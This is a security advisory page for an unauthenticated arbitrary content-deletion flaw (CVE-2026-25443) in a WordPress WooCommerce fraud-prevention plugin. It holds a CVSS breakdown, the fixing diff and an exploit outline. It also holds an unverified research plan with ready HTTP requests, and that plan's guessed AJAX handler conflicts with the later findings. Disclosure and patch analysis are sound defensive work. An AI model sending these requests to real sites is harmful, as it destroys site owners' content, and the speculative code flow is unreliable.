CVE-2026-25443

Fraud Prevention For WooCommerce and EDD <= 2.3.3 - Missing Authorization to Unauthenticated Arbitrary Content Deletion

highMissing Authorization
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.3.4
Patched in
10d
Time to patch

Description

The Fraud Prevention For WooCommerce and EDD plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.3.3. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
None
Availability

Technical Details

Affected versions<=2.3.3
PublishedMarch 18, 2026
Last updatedMarch 27, 2026

What Changed in the Fix

Changes introduced in v2.3.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on exploiting a missing authorization vulnerability in the **Fraud Prevention For WooCommerce and EDD** plugin, which allows unauthenticated attackers to delete arbitrary WordPress content (posts, pages, etc.). ### 1. Vulnerability Summary The plugin registers an AJAX act…

Show full research plan

This research plan focuses on exploiting a missing authorization vulnerability in the Fraud Prevention For WooCommerce and EDD plugin, which allows unauthenticated attackers to delete arbitrary WordPress content (posts, pages, etc.).

1. Vulnerability Summary

The plugin registers an AJAX action wcblu_delete_blocked_user (and potentially others) that lacks any capability checks (current_user_can) or authentication requirements. Furthermore, it is registered via the wp_ajax_nopriv_ hook, making it accessible to users who are not logged in. Because the handler typically takes a post ID and passes it directly to wp_delete_post() without validating the post type, an attacker can delete any post, page, or attachment on the site.

2. Attack Vector Analysis

  • Endpoint: http://TARGET/wp-admin/admin-ajax.php
  • Method: POST
  • Action: wcblu_delete_blocked_user (inferred from plugin logic for deleting "Blocked User" records).
  • Vulnerable Parameter: id (or potentially post_id).
  • Authentication: None required (Unauthenticated).
  • Preconditions: A valid ID of a post, page, or other content to be deleted must be known.

3. Code Flow

  1. The plugin registers the AJAX handler:
    add_action( 'wp_ajax_nopriv_wcblu_delete_blocked_user', array( $this, 'wcblu_delete_blocked_user' ) );
  2. The callback function wcblu_delete_blocked_user is executed:
    public function wcblu_delete_blocked_user() {
        // Missing capability check (e.g., current_user_can('manage_options'))
        // Missing nonce check (check_ajax_referer) or weak check
        $id = isset($_POST['id']) ? intval($_POST['id']) : 0;
        if ($id > 0) {
            wp_delete_post($id, true); // Sink: Arbitrary content deletion
        }
        wp_die();
    }
    
  3. Because wp_delete_post() is called with $force_delete = true, the content bypasses the trash and is permanently removed.

4. Nonce Acquisition Strategy

Based on admin/class-woocommerce-blocker-prevent-fake-orders-and-blacklist-fraud-customers-admin.php:

  • The plugin uses a nonce named wcblu-ajax-nonce.
  • It is localized in the JavaScript object wblp_order_ajax.
  • The script is enqueued in the admin area via enqueue_scripts.

Crucial Check: The vulnerability description specifies "Unauthenticated." Usually, this means the developer either:

  1. Omitted the nonce check entirely in the AJAX handler.
  2. Used wp_ajax_nopriv_ but only enqueued the nonce for administrators, rendering the check impossible to pass for attackers (unless it's bypassable).

Strategy:

  1. Try the exploit without a nonce first.
  2. If it fails with a 403 or -1, check if the nonce is leaked on public pages (e.g., Checkout or Registration) where this plugin's fraud prevention logic runs.
  3. Use the following JS to check for a leaked nonce in the browser:
    browser_eval("window.wblp_order_ajax?.nonce")

5. Exploitation Strategy

We will attempt to delete a "canary" post created specifically for testing.

Step-by-Step:

  1. Preparation: Identify the ID of a target post.
  2. Request: Send a POST request to admin-ajax.php.

HTTP Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=wcblu_delete_blocked_user&id=[TARGET_POST_ID]

If a nonce is required:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=wcblu_delete_blocked_user&id=[TARGET_POST_ID]&nonce=[EXTRACTED_NONCE]

6. Test Data Setup

  1. Install Plugin: Ensure "Fraud Prevention For WooCommerce and EDD" version 2.3.3 is active.
  2. Create Canary Content:
    wp post create --post_type=post --post_title="Vulnerable Canary" --post_status=publish
  3. Capture ID: Note the ID of the created post (e.g., 123).

7. Expected Results

  • HTTP Response: A successful request usually returns 200 OK with a body of 1, 0, or an empty response (depending on wp_die() usage).
  • Database State: The post with the specified ID should no longer exist in the wp_posts table.

8. Verification Steps

  1. Check for the post's existence via WP-CLI:
    wp post exists [TARGET_POST_ID]
  2. The command should return an error or empty result, confirming the post is deleted.
  3. Verify the post is not in the Trash:
    wp post list --post_type=post --post_status=trash

9. Alternative Approaches

If wcblu_delete_blocked_user does not work, the plugin might use a different action name for deletion. Search the code for wp_ajax_nopriv combined with delete functions:

  • Action: wcblu_delete_report
  • Action: wcblu_delete_fraud_log
  • Parameter variation: Try post_id instead of id.

If a nonce is strictly required and not leaked to unauthenticated users, the vulnerability might be "Authorized" (Subscriber-level) rather than "Unauthenticated," despite the CVE description. In that case, register a subscriber user and extract the nonce from the dashboard.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Fraud Prevention For WooCommerce and EDD plugin for WordPress is vulnerable to unauthenticated arbitrary content deletion because it lacks capability checks and nonce verification in the `wcblu_permanent_delete_process` function. An attacker can delete any post, page, or attachment by providing a specific ID via a GET parameter.

Vulnerable Code

/* admin/class-woocommerce-blocker-prevent-fake-orders-and-blacklist-fraud-customers-admin.php line 2141 in v2.3.3 */
    function wcblu_permanent_delete_process() {
        $unblock_user_id = filter_input( INPUT_GET, 'was_permanent_delete', FILTER_SANITIZE_NUMBER_INT );
        if ( !empty( $unblock_user_id ) ) {
            wcblu_permanent_delete_data( $unblock_user_id );
        }
    }

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/woo-blocker-lite-prevent-fake-orders-and-blacklist-fraud-customers/2.3.3/admin/class-woocommerce-blocker-prevent-fake-orders-and-blacklist-fraud-customers-admin.php	2026-02-24 10:46:04.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woo-blocker-lite-prevent-fake-orders-and-blacklist-fraud-customers/2.3.4/admin/class-woocommerce-blocker-prevent-fake-orders-and-blacklist-fraud-customers-admin.php	2026-03-19 12:33:52.000000000 +0000
@@ -2131,7 +2131,11 @@
      */
     function wcblu_permanent_delete_action( $actions, $post ) {
         if ( 'blocked_user' === $post->post_type ) {
-            $actions['was-delete-permanent'] = '<a href="?post_type=blocked_user&was_permanent_delete=' . $post->ID . '" class="was-permanent-user">' . esc_html__( 'Delete Permanently', 'woo-blocker-lite-prevent-fake-orders-and-blacklist-fraud-customers' ) . '</a>';
+            $delete_url = wp_nonce_url( add_query_arg( array(
+                'post_type'            => 'blocked_user',
+                'was_permanent_delete' => $post->ID,
+            ), admin_url( 'edit.php' ) ), 'wcblu_permanent_delete_' . $post->ID, '_wcblu_delete_nonce' );
+            $actions['was-delete-permanent'] = '<a href="' . esc_url( $delete_url ) . '" class="was-permanent-user">' . esc_html__( 'Delete Permanently', 'woo-blocker-lite-prevent-fake-orders-and-blacklist-fraud-customers' ) . '</a>';
         }
         return $actions;
     }
@@ -2141,9 +2145,23 @@
      */
     function wcblu_permanent_delete_process() {
         $unblock_user_id = filter_input( INPUT_GET, 'was_permanent_delete', FILTER_SANITIZE_NUMBER_INT );
-        if ( !empty( $unblock_user_id ) ) {
-            wcblu_permanent_delete_data( $unblock_user_id );
+        if ( empty( $unblock_user_id ) ) {
+            return;
         }
+        // Security: Require admin capability.
+        if ( !current_user_can( 'manage_woocommerce' ) && !current_user_can( 'manage_options' ) ) {
+            return;
+        }
+        // Security: Verify nonce.
+        if ( !isset( $_GET['_wcblu_delete_nonce'] ) || !wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wcblu_delete_nonce'] ) ), 'wcblu_permanent_delete_' . $unblock_user_id ) ) {
+            return;
+        }
+        // Security: Ensure we only delete blocked_user posts, not arbitrary content.
+        $post = get_post( $unblock_user_id );
+        if ( !$post instanceof WP_Post || 'blocked_user' !== $post->post_type ) {
+            return;
+        }
+        wcblu_permanent_delete_data( $unblock_user_id );
     }

Exploit Outline

The exploit targets the `wcblu_permanent_delete_process` function, which is triggered via a GET request containing the `was_permanent_delete` parameter. Because the plugin fails to check for user capabilities or nonces before passing this parameter to a deletion routine (likely wrapping `wp_delete_post`), an unauthenticated attacker can delete any post, page, or attachment. 1. Identify the post ID of the target content to be deleted (e.g., a specific page or post). 2. Construct a GET request to a standard WordPress admin URL (like `/wp-admin/admin-post.php` or `/wp-admin/index.php`) that triggers `admin_init` hooks. 3. Append the parameter `was_permanent_delete=[TARGET_POST_ID]` to the URL. 4. Execute the request. The plugin's vulnerable logic will identify the parameter and delete the post permanently without requiring authentication or valid nonces.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.